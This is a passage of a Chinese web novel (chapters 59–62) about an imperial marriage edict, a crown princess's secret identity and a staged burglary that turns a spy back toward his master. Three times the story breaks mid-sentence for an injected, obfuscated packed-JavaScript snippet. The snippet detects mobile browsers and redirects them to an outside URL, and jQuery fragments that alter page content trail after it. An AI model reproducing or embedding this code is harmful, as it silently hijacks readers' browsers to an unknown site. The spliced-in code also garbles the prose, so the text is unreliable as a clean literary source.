江御暮望着他满含期待的双眼,短暂地迟疑了一瞬。 如果他是以穆归衡的身份问出这个问题,她肯定会毫不犹豫,给出肯定的答复。 可他现在毕竟是燕识风,江御暮必须多考虑一层,如果一会费红英没能顺利戳穿他的身份,她们又该如何收场。 等待实在过于煎熬,哪怕只有一瞬,也被拉长了成百上千倍。 “就差最后一个回合了,倒是继续比呀!”台下有人开始催问,很快就带起一连串附和之声。 穆归衡退开一步,闭上双眼,对江御暮柔声道:“你若愿意,此箭便给我留一个得胜的机会吧。” 这便是他一直刻意维持平局的真实意图。 这场比试的第一箭由江御暮射出,穆归衡看似有着后手优势,殊不知,他从一开始就没有把今日的对局当做一场比赛。 所以他才会选择与她比箭,这种兵器用起来相对安静,且没有错手伤到彼此的风险。最重要的是回合数可控,不至于太早结束对局。 前九个回合,穆归衡只是想跟江御暮多说说话。毕竟二人许久不见了,他总不能一开口就向她求亲,实在不像话。 最后一个回合才是重头戏,一箭定胜负。至于决定权,从始至终都在江御暮手里。 不得不说,这份尊重让她很受用,所以—— “江小姐第十箭,中赤色莲瓣,计乙等!”齐陌的声音难掩激动。 穆归衡倏地睁开双眼。 她愿意。 心脏难以自控地加速跳动,穆归衡庆幸自己戴着面具,否则肯定会被她看到一个蠢兮兮的笑容。 最后一次张弓搭箭,穆归衡并不像自己此前想象的那样紧张,心绪反而无比平稳。 这颗定心丸是江御暮亲手喂他吃下的,他自然不能辜负。 于是—— “燕少侠第十箭,中莲蓬,计甲等!第十回合,燕——” 齐陌的话还未说完,台下人群中便传来另一个熟悉的声音。 “圣旨到!” 那是石涅的声音。 好像生怕稍晚一步,自己这句话就会被铺天盖地的贺喜声淹没,无法及时完成任务似的。 “户部尚书江淮照长女接旨!” 石涅高高举起一个长条形的木盒,艰难挤出人群,快步走上了擂台。 59. 石护卫登台宣圣旨,江少爷落魄成…… 石涅举起木盒的那一刻,他身边的人全都为之一惊。 谁能想到,这个有点话痨的少年竟是皇帝派来的传旨使臣。 可是有一点他们想不明白——皇帝不是已经派了国师大人前来观战么?若有旨意,为何不直接命国师代为传达,反而另外派了人来呢? 更奇怪的是,他分明一直在场,并不是此刻才赶来。为何早不宣旨,晚不宣旨,偏偏等到江小姐落败以后才吱声? 他们哪里知道,这份圣旨已在太子府吃了许久的灰,直至今日才被请出。想来,连皇帝都不曾料到吧。 穆归衡今早特意将它交托于石涅,并千叮咛万嘱咐,让他务必在自己赢下比武之后出言打断,及时登台宣旨。 但若今日之对决最终以平局收场,这份圣旨便不必示于人前了,原扔回书房吃灰便是。 幸而一切顺利,石涅不负所托,抓准时机吸引了所有人的目光。 见圣旨如皇帝亲临,围观诸人不敢冒犯,纷纷为石涅让开了路。 擂台之上,费红英、江御暮与穆归衡已经跪成一排,台下不知是谁低声问了一句:“咱们用不用跪啊?” 立马有人接话:“肯定得跪!哎,你别挤,给我让点地方。” 还有人头脑更为灵活,索性蹲在了人群里,反正大家都挤作一团,是蹲是跪也看不清楚,差不多意思意思得了。 石涅高举木盒登上擂台后,并未急着宣旨,而是转过身与宁问归对上眼神,一时火药味十足。 宁问归仍然骑在马上,看似心情不佳,一身喜气洋洋的猩红衣袍仿佛成了莫大的讽刺。 石涅神情严肃,语气冰冷道:“见圣旨如见陛下,你是何人,竟敢不跪?” 宁问归蔑笑一声,抱臂道:“这不是还没见到圣旨,只见了个木盒子吗?我瞧你也不像传旨太监啊,鬼知道那盒子里有什么。” 石涅被这话气得不轻,偏又说不过他,于是当即打开木盒取出圣旨,又喊一遍:“户部尚书江淮照长女接旨!” 明黄绸绢被晴日的阳光照得无比刺目,宁问归用一声冷笑掩饰自己看向江御暮的动作。 江御暮双手交握于身前,右手食指朝下方指了指。宁问归会意,这才不情不愿地跃下马背,不紧不慢地理了理衣袍,屈膝跪了下去。 石涅仿佛替自家殿下出了口气,立时神清气爽,露出满意的微笑,继而展开圣旨高声宣读: “朕惟古之君天下者,必重后嗣,皆选勋贵之家淑德□□女子以媲之。尔皇太子归衡年长,赐以江氏实朕功臣户部尚书长女相结为亲。今吉日已至,宜先正其名,命江氏为皇太子妃,所以资内助,兴樛木之美,承螽斯之祥,衍福庆之源。钦此。” 江御暮依礼答道:“臣女接旨。” 众人依次站起,石涅重新卷好圣旨,郑重放入江御暮手中,低声笑道:“江小姐,卑职早就说了吧,您迟早是我们府里的女主人。” “咳。”穆归衡在旁忽然轻咳一声。 石涅接到提醒,立马收起笑容,煞有介事道:“陛下既已赐婚,这场比武招亲便算不得数。燕少侠,看来你与江小姐注定有缘无分了。” 穆归衡垂首道:“草民明白。” 江御暮和费红英对视一眼,双双心道:他俩还真够能演的,快比上我俩了…… 石涅继续递话道:“还不拜别太子妃?” 原是件再简单不过的事,拱手一礼,道个别就是了,穆归衡却被石涅方才那句“有缘无分”绊住了脚。 即便知道是做戏,这种话听来也实在令人不舒服。 或许是鬼使神差,又或许冥冥中自有定数,穆归衡终究以燕识风的口吻说出了一句:“江小姐,江湖再见。” 望着他转身离去的背影,众人各有心思。 宁问归表面怫然不悦,实则心里已经开始盘算了:他们的婚讯传至涵州需要几日?婚期何时才能正式确定?要不要派飞鸽给长公主提前报个喜? 石涅后知后觉:欸,我方才是不是说错话了?哎呀,猪脑子!什么有缘无分,呸呸呸!殿下与江小姐自然是有缘亦有分。嗯……说起来,我跟师兄打的赌终于分出胜负了,嘿嘿,找他请我搓一顿去! 费红英摸一摸袖中的铜板,思索着:行吧,压根用不着我救场,昨晚准备的所有词都不用说了,干脆回府睡大觉去——等等!还不能睡,得找皇帝老儿邀功去呢!穆归礼那边也得应付。啧,忙死了。 围观诸人各分阵营。 有人感叹造化弄人,燕少侠赢了比武,却输给了圣旨,真是荒唐。不过这也没有办法,普天之下,谁敢跟皇帝对着干呢?小命不想要了? 有人咬文嚼字,从圣旨的只言片语中发现了异常。“尔皇太子归衡”一句已然说明,这道旨意是皇帝给太子下的,理应由他出面接旨。为何今日太子不曾出面,反而由江小姐接下了旨意呢?怪哉,怪哉。 江御暮嫌周围吵闹,婉拒了石涅送她回府的提议,独自回到了枕闲书铺,江连镜正在这里等她。 “兜兜转转,你还是做了太子妃。”他怅然道。 江御暮没有答话,自顾自走进内室,把圣旨随手扔在一边,枕着软垫躺在了榻上。 江连镜捡起圣旨,展开默念起来。读到“江氏实朕功臣”一句,他忽地讥讽一笑,本想跟江御暮一起揶揄几句,却见她已经闭上了双眼。不知是在闭目养神,还是打算小憩一会。 他搬来一只矮凳,静静坐在榻边陪着她,就像小时候那样。 江连镜记不清是十几岁的时候,有一次江御暮练武伤了腿,费杏林不许她下地,只能卧床修养。 可江御暮性子要强,闲不住,又怕落下功课,每日都捧着书在床上读。 床上光线昏暗,不适宜读书。江连镜身为人弟,竟操起了兄长的心,怕她这样下去容易熬坏眼睛,便陪在一旁帮她掌灯。 午后,江御暮每每喝完药都爱犯困,于是交代他:“我若看书看睡着了,你可一定要叫醒我。” 江连镜答应得爽快,可是真到她睡着的时候,他却总是吹熄灯火,静静等她醒来。 “你怎么不叫我?”待江御暮睡醒,便会跟他秋后算账。 江连镜虽未信守承诺,却毫不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627592|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心虚,一本正经道:“你多睡一个时辰,我便能多学一个时辰。日积月累下来,我总有一天能赶上你。” 这当然是一句玩笑话。江连镜怕吵醒她,连一页书都不敢翻,哪里学得到什么东西。 之所以不叫醒江御暮,只是见她太疲累,想让她多休息休息罢了。 一如此时此刻。 江连镜望着她的睡颜,听着她悠长平稳的呼吸,便知她这几日定是累得不轻。 自比武招亲开始以来,江连镜心里就有个不同寻常的想法冒了头——在江府里,话语权最大之人似乎不是父亲,而是江御暮。 最初这想法只是个疑影,找不到切实的证据。直到宁问归来了京城,江连镜才越来越相信自己的判断。 原因很简单:宁问归此行是涵州授意,来至江府后,他却极少与江淮照单独议事,反而与江御暮接触更多。而他们二人合议的某些事,江淮照竟一无所知,还不许江连镜私自打探。 正因如此,江连镜不得不怀疑自己这位“长姐”有着比父亲更多的秘密。与涵州相关的秘密。 “你在想什么?”江御暮不知何时睁开了眼,突然问道。 江连镜心头一紧,掩饰道:“想让你多睡会。” 江御暮坐起身,揉揉太阳穴道:“不睡了,还有很多事要忙。” “用得上我吗?”江连镜问。 “你不行。”江御暮拍拍他的脸,“此事得让外人来做,还得是与江家不睦的外人。” “什么事啊?” 江连镜一问出这句话就后悔了,他知道,江御暮肯定不会回答。既然如此,那还不如不问。 可他没想到的是,江御暮这次竟然没打算瞒他。 “帮红英打消穆归礼的怀疑,重获他的信任。” 说完,江御暮正欲下榻,却不知方才把鞋脱在哪了。 得,又跟小时候一样。 江连镜弯下腰帮她找鞋,顺便藏住了打趣的笑容,从榻下一前一后拖出两只鞋,习惯性帮她去穿,却被江御暮躲开了。 江连镜一愣,继而勉强笑道:“怎么,过意不去了?小时候我这样伺候了你多少回啊?连小妹都说我像你的丫鬟呢。” 江御暮轻笑一声:“大了毕竟不一样。” 江连镜张了张口,好像说什么都不合适,只能垂眸应一声:“哦。” 他把鞋放在地上,站起身欲往外走,却因站得太急,脑袋有些发晕,眼前花白一瞬,扶着墙缓了缓才恢复如常。 再睁眼时,江御暮把一块玉佩递到了他面前,是宁问归的玉佩。 “劳烦你去一趟他下榻的客栈,让他今晚悄悄来江府见我。”江御暮说完想了想,又补充道,“路上若遇到熟人瞎打听,你就告诉他们,你是专程去替我归还玉佩的。” 江连镜收起玉佩,半玩笑半认真道:“不拿我当丫鬟,改当传话小厮了?” 江御暮抱着臂,微微扬起下巴:“怎么,不乐意?” 江连镜对上她略带倦意的双眼,哪里还忍心讲出别的话,唯有一句:“乐意。” 乐意之至。 60. 宁问归奉命闯内院,江连镜套话窥…… 皇帝得到消息后大喜过望,财帛之赏如流水般涌入江府。 江淮照仍在装病,没有按规矩入宫谢恩,只写了道略显敷衍的折子递上去。皇帝也不与他计较,打算过后寻个机会一并算账。 眼下最要紧的事便是择定婚期,皇帝把此事交由费红英负责,让她务必挑个最近的吉日。太子的婚事早一日尘埃落定,他便能早一日安心。 费红英当面答应得无比正经:“微臣这便回府细细推算,定然不负陛下之托。” 实际上,她哪里会算这劳什子?只要花几个钱买本黄历,再背几句吉祥话,就足够糊弄皇帝了。 嗯,还是奸臣好当。 想到这里,费红英又开始发愁。 穆归礼近日愈发疏远她了,也不知江御暮出的招管不管用,能否吓得穆归礼病急乱投医,恰好投到她这来?若不能成功,待老皇帝驾崩以后,她这奸臣还怎么继续当下去呢? 唉,愁也没有用,费红英只能回府静候佳音,希望江御暮明日的计划一切顺利。 这天晚上,负责执行计划的宁问归如约来到江府。 江御暮早早找借口支开了时异,宁问归又是按她要求翻墙前来的,因而没有惊动任何人。 二人密谈半晌,宁问归领命而去。又过了一段时间,时异才回到院中。 “小姐,您要的糕点买回来了。按您的吩咐,是让他们现做的,还热乎着呢。” 江御暮尝了尝,没错,是全京城独一份的味道。看来时异并没有跟她耍花样,而是真的被她支走了。 “辛苦你了。”她温柔一笑,塞给他一块银锭,“拿着吧。” 时异连忙推拒:“都是卑职分内之事,不敢受小姐之赏。” 江御暮嗔怪般看他一眼:“那么见外做什么?我又不止赏你买糕点这一件事,明日还有事情要托付你呢。” 时异这才收下赏钱,稍显诚惶诚恐道:“不知小姐所托何事?” 江御暮深深一叹,似有无限愁绪:“明日我要去书铺清账,估计得耗上一二个时辰。我不在府中时,你务必守好此院,不许任何人进来。” 时异诧异道:“老爷和少爷他们也不许进吗?” 江御暮点点头:“别说老爷了,就是老太爷从土里爬出来,你也给我拦好了他。” “是,卑职记下了。” 话虽这么说,时异心里却渐渐打起鼓来,暗自思忖道:事出反常必有妖,她平日纵然谨慎,也只防着外人,现在怎么连自家人都防备上了? 忆及安王殿下吩咐过,江府但凡出现任何可疑之处,不论大小,都必须尽快告知于他。 时异本想像往常那样,待江御暮熟睡以后再偷偷溜出去报信,又怕半夜吵醒殿下会惹他不悦。 遑论有些事他自己觉得可疑,安王殿下却不这么觉得,总斥责他捕风捉影,小题大做。 例如前几日比武招亲,时异觉得江御暮让他和江连镜假扮攻擂者,背后一定大有文章。穆归礼却觉得她只是输不起,怕被她瞧不上的人打败了,不得不嫁给对方,所以才找自己人强充场面。 又如杏林医馆的疑点,时异觉得费杏林精通易容术,定然不是寻常医者,甚至一度怀疑她就是帮自己解毒的那位“神医姑娘”,只是易容成了老婆婆的样子。否则该如何解释“神医姑娘”的离奇消失呢? 穆归礼却不关心这些细枝末节,就算那姑娘易容成了老婆婆,又能碍到他什么事?说到底,她再有本事,也不过一介江湖郎中而已,能掀起什么风浪? 想到这些,时异便暗自决定,今夜不可轻举妄动,务必想办法获知更多消息,再回安王府中汇报。 次日上午,江御暮出门以后,时异便打起十二万分精神把守着院门,连路过的小飞虫都不放进去一只。 约莫过了半个时辰,他刚有些松懈,便听有吵吵嚷嚷的声音越飘越近。 时异竖起耳朵,仔细分辨,来者只有两人,分别是江连镜与宁问归。 江连镜的声音更大些,焦急中还透着些无奈:“宁兄,我长姐当真不在府中。你若有事寻她,不妨晚些再来吧。” 宁问归恍若未闻,径直向偏院走来,冷冷道:“江连镜,我和江小姐之间的恩怨与你无关,你少在这里瞎掺和!” 二人一个怒气冲冲,一个劝慰连连,不多时便来到了院门口。 时异见宁问归拔腿便欲往里闯,急忙伸开胳膊挡在门前,面无表情道:“小姐吩咐过,没有她的允许,任何人都不许进这道门。” 宁问归冷笑一声,咬牙道:“我今日还非进不可了!你是个什么东西,也配拦我?” 话音一落,时异便拔出刀来横在身前,大有不死不休之意。 江连镜赶忙上前打圆场,拦在二人之间劝道:“有话好好说,别闹出血光之灾来。” 宁问归嗤笑一声,推开他便去拍打院门,一边拍一边高声喊道:“江御暮!你别在这扮缩头乌龟,给我滚出来!” 江连镜这下忍不住了,厉声喝道:“姓宁的,你把嘴巴放干净点!我长姐若在府中,听到你对她如此不敬,定然不会饶你!” 时异虽然拔出了刀,却不愿贸然与宁问归交手,毕竟对他的实力不甚了解,不知自己能有几分胜算。 于是他也跟对方讲起道理来:“少爷说得很是,依小姐的脾气,她此刻若在府中,定不会对您避而不见。” 宁问归仿佛被他们说动了,不再拍门,负手走到时异面前,冷冰冰问道:“她去哪了?” 时异斟酌片刻,撒谎道:“卑职不知。” 宁问归又问:“她何时回来?” 时异依旧不交实底,糊弄道:“入夜前必归。” 宁问归听罢冷哼一声,转身便走。 他走远以后,江连镜欣慰地拍拍时异的肩,夸赞一句“不错,很称职。”紧接着也走开了。 行至一处拐角,江连镜走出了时异的视线范围,宁问归正在这里等候。 “然后呢,还做什么?”江连镜问。 “借你院里的厢房一用。”宁问归解释道,“容我换身衣裳。” 于是二人一道来至江连镜院中,这里仆役不多,都是信得过的,不必避人。 宁问归进屋换上一身不大起眼的衣衫,并未急着出门,反而坐在屋里耗起时间来。 江连镜在门外越等越心急,索性象征性敲了敲门,继而走进屋来查看情况。 “换完衣服呢?还做什么?”他好奇道。 宁问归慢悠悠倒了两杯茶,答道:“小殿下让我掐好时间,等到未时三刻再行动。” 江连镜本想追问一句“什么行动”,可是此话将到嘴边,他却忽然顿住了,嘴唇颤了颤,只问出一句:“小殿下……是谁?” 宁问归听罢,心中暗道不好,接着又责怪自己嘴比心快,答话时忘了江连镜还不知道小殿下的真实身份,一时竟没想起来改换称呼。 既然江连镜已经生疑,宁问归总不能敷衍过去,否则只会适得其反,让他愈发胡思乱想起来。 于是宁问归面不改色道:“事关涵州,请恕在下不能明言。只能说……在下与江小姐都听命于此人。” 江连镜半信半疑,追问道:“敢问宁兄,这位‘小殿下’是男是女?” 宁问归继续遮掩道:“是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644640|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位男子。” 江连镜猜道:“宁兄既然称他为‘小殿下’,想必此人年龄不算太大吧?十七?十九?” 宁问归马上否认,还有意误导道:“不不不,所谓‘小’,只是辈分略小。实际上,他比在下还年长十岁呢,将至而立之年。” 江连镜闻言一怔,继而盯着他的双眼,轻笑道:“原来如此,是我多心了。” 宁问归陪着干笑两声,用喝茶的动作掩饰心虚。 江连镜没有刨根问底,因为此刻已经没必要追问了,宁问归方才那番话已经提供了足够的线索。 试问,如果宁问归所言非虚,他和江御暮当真都听命于一位神秘的“小殿下”,那么在江连镜打探他的性别与年龄时,宁问归就应该三缄其口,一律避而不答。 可是他没有。 恰恰相反,宁问归回答得很详细。江连镜若是继续追问下去,他定然也会一一具言,生怕不能取信于人。 如此,便只有一种解释——宁问归在撒谎。 至于如何破解谎言背后的真相?有时候,只需反过来理解便可。 既然宁问归说此人是男,那么此人定是一位女子。 既然宁问归说此人年龄不小,那么此人定然年龄不大。 这样一来,摆在面前的就只有两种可能—— 其一,这位被称作“小殿下”的年轻女子并非久居京城,只是近日与宁问归一起赶到了京城。否则,他和江御暮不可能及时与她沟通。更不用说他们的行动时刻精确到了“未时三刻”的地步,那位“小殿下”若远在涵州,怎么可能未卜先知,下达如此具体的指令呢? 其二,这位年轻女子一直都在京城,之所以如此神秘,皆因她有着另一个毫无破绽的身份,用于迷惑外人,甚至是身边亲近的人。 江连镜有一种奇妙的预感——第二种可能,一定就是真相。 那么,这个人会是谁呢? 思忖间,两个名字同时跃入他的脑海。 江御暮,费红英。 她二人自小一起长大,若论神秘,还是费红英更胜一筹。 费红英以前虽久在杏林医馆抛头露面,却从未向外人泄露过真实姓名。不论谁来打听,都别想从她口中套出实话来。今日来问,她说自己叫王小翠;明日再问,也许就改叫刘大芳了。 更不用说她如今已是国师,久伴天子之侧,又多了一重飞鸿影……啊不,是“穆鸿影”的身份,愈发迷雾重重。 可江连镜始终无法把“红英姐”和“小殿下”这几个字联系起来,怎么想都觉得古怪。 那么,另一种可能性呢? 江连镜不敢深想,宁愿雾里看花,佯装被宁问归糊弄了过去。 “时辰差不多了。”宁问归如释重负,“我这便去了,告辞。” “嗯。”江连镜漫不经心地应了一声。 屋内只剩下他自己,安静得令他心烦。有些事即便不愿去想,也拦不住自己的思绪了。 江连镜掀开衣袖,没有低头去看,只用手指摩挲着小臂内侧的一片刺青。 befearless 江御暮说,那是“无所畏惧”的意思。 那时他看着羡慕,便央求费红英给他刺个一模一样的。 费红英当时怎么说来着? 江连镜仔细回忆这段旧事,直想得脑袋一阵阵发痛。 “问你姐去。”她说,“御暮没意见就行,我只听她的。” 她只听她的。 “小殿下……” 江连镜轻语喃喃,按在刺青上的手指微微颤抖起来。 “是……你吗?” 61. 蒙面贼摔瓶引护卫,丧家犬卖惨寻…… 江连镜离开以后,时异的心思又活络起来,开始猜度宁问归来找江御暮有何意图。 前几日他冷眼瞧着,江淮照似乎有意把女儿许配给此人,只是事与愿违,被太子横插一杠,搅黄了这桩婚事。 那么,宁问归今日是来要个说法的吗? 可是圣旨在前,纵然江御暮于他有意,只怕也无力回天了吧? 再说了,江家又不是主动悔婚,宁问归犯得着冲他们兴师问罪吗? 时异无论如何也想不通,总觉得方才之事透着古怪。 他这厢埋头苦思之际,宁问归已经从后墙翻入院中,悄无声息地潜入了江御暮的房间。 时异只顾着把守院门口的方寸地界,并未注意到远处的动静。 按照昨夜的约定,江御暮会在申时四刻回到院中,宁问归务必在此之前完成任务。 他手脚十分麻利,一进屋便开始翻箱倒柜,弄出了许多动静。 奈何此屋与院门相距甚远,时异又站在门外,迟迟没有听见这里的声音。 宁问归见他如此大意,唯恐再耗下去会导致时间不足,索性把心一横,抄起书架上的花瓶便往地上砸。 瓷瓶碎裂的刺耳声响终于吸引了时异的注意,他后背一凉,在不祥预感的驱使下飞速冲入院中,拔刀横在身前,高声喊道:“何人在此!?” 屋内安安静静,寂若无人。 时异不敢放松警惕,一步步慢慢向屋门挪去,靠近以后再将刀身插进门缝,挑开了两扇门板。 他并未急着进屋,而是先在门外观察屋内的情况。 此刻屋内已经被翻得极乱。衣柜大敞,各色衣物被扔得满地都是,连用于防虫的药盒都被打翻了。 梳妆台的每个抽屉都开着,里头的首饰全被移到了桌面上,其中不乏价值极高的金银珠宝。 时异原以为江御暮屋里进了贼,可是哪有贼会放着贵重首饰不偷,只把它们翻出来晾着呢? 再看书架之下那堆碎瓷,想是那贼人毛手毛脚的,一时不慎撞翻了花瓶。周遭还躺着十几本书,摊开的书页上甚至有半枚新鲜的鞋印。 这就更奇怪了,江御暮的书架上都是些市面上最常见的闲书,并没有值钱的古籍孤本,有什么可偷的呢? 时异左思右想,只得出一个结论——这个潜入者不为谋财,更像是来找东西的。 那么,此人要找的是何物什呢? 首先,此物的尺寸肯定不会很大,否则那人没必要翻开梳妆台的小抽屉寻找。 其次,此物的厚度应该偏薄,至少把它夹进书中时,书册不会产生明显的鼓凸痕迹。这也解释了那贼人为何要翻开这些书一一查看。 时异盯着书页上的鞋印,心里直打鼓,不知那人此刻是否已经离开。 此屋八扇窗户全部紧闭,唯有一道前门,是被时异自己打开的。 也就是说,那人大概率仍然藏在屋内。门外视角受限,时异并不能看到屋内的全貌,一时进退两难,不知该作何应对。 他这一犯怂,可把宁问归给急坏了。时间本就不多,哪容得了他在这里拖拖拉拉? 没办法,宁问归只得主动打破僵局,猛地推开前窗翻身而出,作势欲逃。 时异反应极快,提刀便追,在院中与他交起手来。 此时此刻,时异心里只念着一件事——务必生擒此人! 一旦此人成功脱逃,待江御暮回府后,定会怀疑是时异监守自盗,却凭空捏造出一个“贼人”来欺瞒她。 时异自认好不容易才获得她些许信任,万万不可葬送在此人手里。 宁问归用布巾蒙着下半张脸,时异与他虽只有几面之缘,却也觉得十分眼熟。 为验证心中的猜想,短短几回合后,时异便寻机扯下了他的面巾。 此举正中宁问归下怀,于是他佯装忙乱,并未闪身躲开。 时异定睛一看,自己猜得果然不错。 “是你!”他竖眉喝道,“你好大的胆子!” 在这片刻功夫,时异便已想通了先前的疑问。 在他看来,宁问归方才大闹江府,就是为了试探江御暮是否待在院中。得到否定的答案后,宁问归假意离去,实则杀了个回马枪,闯空门大肆翻找,不知在找何物。 也许江御暮昨晚吩咐时异守好院门,就是为了防他这一手。只是她没想到,宁问归会不走正门,翻墙而入。 时异心道:幸好我还算机敏,早早察觉了异样,否则定要替他背上这口黑锅! 宁问归冷笑一声,目露凶光道:“有些秘密,一旦察觉了,就要付出代价!” 语毕,他不再藏锋,出招愈发狠辣,才三五合便夺过了时异的佩刀,反手向前挥去。时异闪躲不及,左臂被划出一道极深的伤口,鲜血霎时涌出,痛意随后袭来。 眼看第二刀即将挥下,时异为求自保,想也不想便喊道:“宁公子饶命!” 宁问归执刀的右手一顿,换左手掐住他的脖颈,轻蔑笑道:“前倨后恭,你家小姐就是这般教你待客的?” 时异紧紧掐住受伤的左臂帮自己止血,忍痛道:“只要您愿意高抬贵手,卑职愿为公子效犬马之劳。” 宁问归不屑一哂,质疑道:“你?” 时异见有机会保命,忙道:“卑职并非江府家仆,只是阴差阳错做了江小姐的护卫,不过为着挣几个钱,犯不着把命搭上,您说呢?” 宁问归仿佛被他说动,手上渐渐松了力气,问道:“你可知道你家小姐会把重要的物件藏在何处?” 时异了然:看来,宁问归此行并未找到他想要的东西。 可是他应该怎么回答呢? 直说“卑职不知”吗?不行!宁问归若见时异没有利用价值,肯定不会留他小命。 时异脑筋一转,立马表示:“暂时不知,但卑职可以帮您去找!小姐时常不在府中,卑职在院中来去自如,最适宜寻物了!” 宁问归佯装思索片刻,彻底放开了手,居高临下道:“也罢,那就让我瞧瞧你的狗鼻子灵不灵吧。” 时异失血不少,此刻嘴唇已有些发白,强撑着问道:“不知公子欲寻何物?” “一封书信。”宁问归用布巾擦净手上的血,直勾勾盯着时异补充道,“死人的书信。” 时异不解:死人怎么会写信呢? 不消多问,他很快反应过来:难道……是谁的遗书? 为获得更多线索,时异信口胡诌道:“小姐平日多有书信往来,不知公子要找的是哪封、或谁人之信?” 宁问归今日大费周章,就是为了把这条消息递给时异,于是假作斟酌半晌,阴恻恻开口道:“枉死的安王妃,纪青元之信。” 时异脑中轰的一声,整颗心不受控地剧烈跳动起来。 关于王妃死于谁手,殿下直至今日也未查清,为此还对府中护卫生出了猜忌之心,杀了好几个“可疑之人”。 时异恰是因为彼时身处江府,没有作案的机会,才成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659587|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了唯一获得穆归礼十成信任之人。 听殿下说,彼时情况紧急,王妃的尸体是由江御暮代为处理的。难道……那时她在王妃身上发现了一封遗书,并私自保留了下来,不曾对殿下提起过? 时异知道,安王妃对穆归礼极为憎恨。她死前若特意修书一封,其内容定然对殿下极为不利。 可是,宁问归怎么会知道有这封信存在,又为何要找它呢?他与安王殿下无冤无仇,有何必要搅进这滩浑水来? 来不及细细思索,时异得先把宁问归打发走。 他捂着伤口,恭恭敬敬垂首道:“卑职记下了,一定帮您找到此信!” 宁问归把刀架在时异的脖子上,用他的衣领擦净刀上血迹,威胁道:“你若敢把今日之事告诉江御暮,我定不饶你。” 时异不敢抬头,只满口答应着,目光扫过衣领上的红痕,忽然唤起了一段回忆—— 荒院交手那日,江御暮也曾用他的衣摆擦剑。 是巧合吗?还是说,他二人早就相识,关系甚密,以至于连某些小习惯都受到了彼此的影响呢? “她回来了。”宁问归突然低声说道。 时异连忙扭头去看院门,并未见到江御暮的身影,只听身后哐啷一声,宁问归把刀扔向了一旁的空地。 时异再回头时,宁问归便已消失得无影无踪。 江御暮真的回来了吗?时异虽未察觉,却决定相信宁问归的判断,于是捂着左臂,把三分虚弱演成了十分,踉踉跄跄向院外跑去,气若游丝道:“来……来人呐……救……” 才踏出院门,时异就和迎面走来的江御暮撞了个满怀。他连忙顺势倒在地上,轻声道:“小姐,有……贼……” 江御暮骤然见他如此虚弱,还以为宁问归下手没轻没重,险些伤了他性命。可是仔细一瞧,又发现时异只伤了手臂,不至于如此弱柳扶风。 她心知时异在博取同情,却不戳穿,急忙解下自己的发带帮他包扎伤口,同时试探道:“寻常小贼怎敢伤人至此?你可看清了那人面貌如何?” 时异艰难地摇摇头:“那人蒙面而来,卑职并未看清他的真容。” 江御暮不悦道:“哼,猜也能猜到是谁。也罢,你别管这些了,养伤要紧。” 时异心念一转,提议道:“小姐,可否让那位‘神医姑娘’来为卑职治伤?” 江御暮动作一顿,语气冷硬道:“她死了。” 管他信不信呢,至少这个理由能堵住他的嘴,让他别再瞎打听。 时异却锲而不舍道:“死了?怎么会呢……” 江御暮煞有介事道:“她撞破了太多不该知道的秘密,难道不该死吗?” 时异被她意味深长的眼神一扫,顿觉毛骨悚然,不敢再问下去。生怕说多错多,也暴露了自己刚刚知晓的秘密。 江御暮站起身来,扔给他一块银锭,语气平静无波道:“自己找家医馆治伤吧。”说完便入院回屋了。 时异不敢耽搁,即刻离开江府,走小路七绕八绕,不知去了哪里。 不多时,宁问归再次翻墙而入,进了江御暮的屋子,她正在收拾书架旁的碎瓷片。 “小殿下,您快放下吧!”宁问归怕她伤着,急忙接手,还埋怨道,“不是说好了等我回来收拾吗?” 江御暮错开几步,给他让出空间,问道:“如何?” “小殿下真是料事如神。”宁问归抬起头,冲她展颜一笑,“那条狗果然去找他的旧主人了。” 62. 穆归礼心虚惧鬼神,费红英唬人奏…… 时异来到安王府,将今日的所见所闻尽数告知了穆归礼。 穆归礼得知纪青元曾留下一封亲笔信,惊得后脑发懵,险些站不住了,怒骂道:“这毒妇,死了也不让本王安生!” 紧接着又想起:看来国师并未说错,江御暮果然包藏祸心,并未对本王坦诚以待。本王竟还因她而误会了国师大人藏奸,当真糊涂! 想到这里,他又有些庆幸:还好本王留了一手,让时异佯装叛主,跟在江御暮身边充作眼线,如今他果然派上了用场。 “时异。”穆归礼将语气放软,亲手扶起这位带伤长跪的属下,“本王给你一个立功的机会,你可愿意接下?” 时异连忙表忠心道:“卑职愿为殿下肝脑涂地,在所不惜。” 其实,他已经猜到穆归礼想让他做什么了。 “你回江府以后,务必尽快找到那封书信,把它取来交给本王。” 果然如此。 “卑职定不辱使命。” 穆归礼满意一笑,伸手摸了摸他的脸。 嗯,还是最忠诚的狗用着放心。不论分开多久,都记得回来找主人摇尾巴。 那就给它些甜头吧。 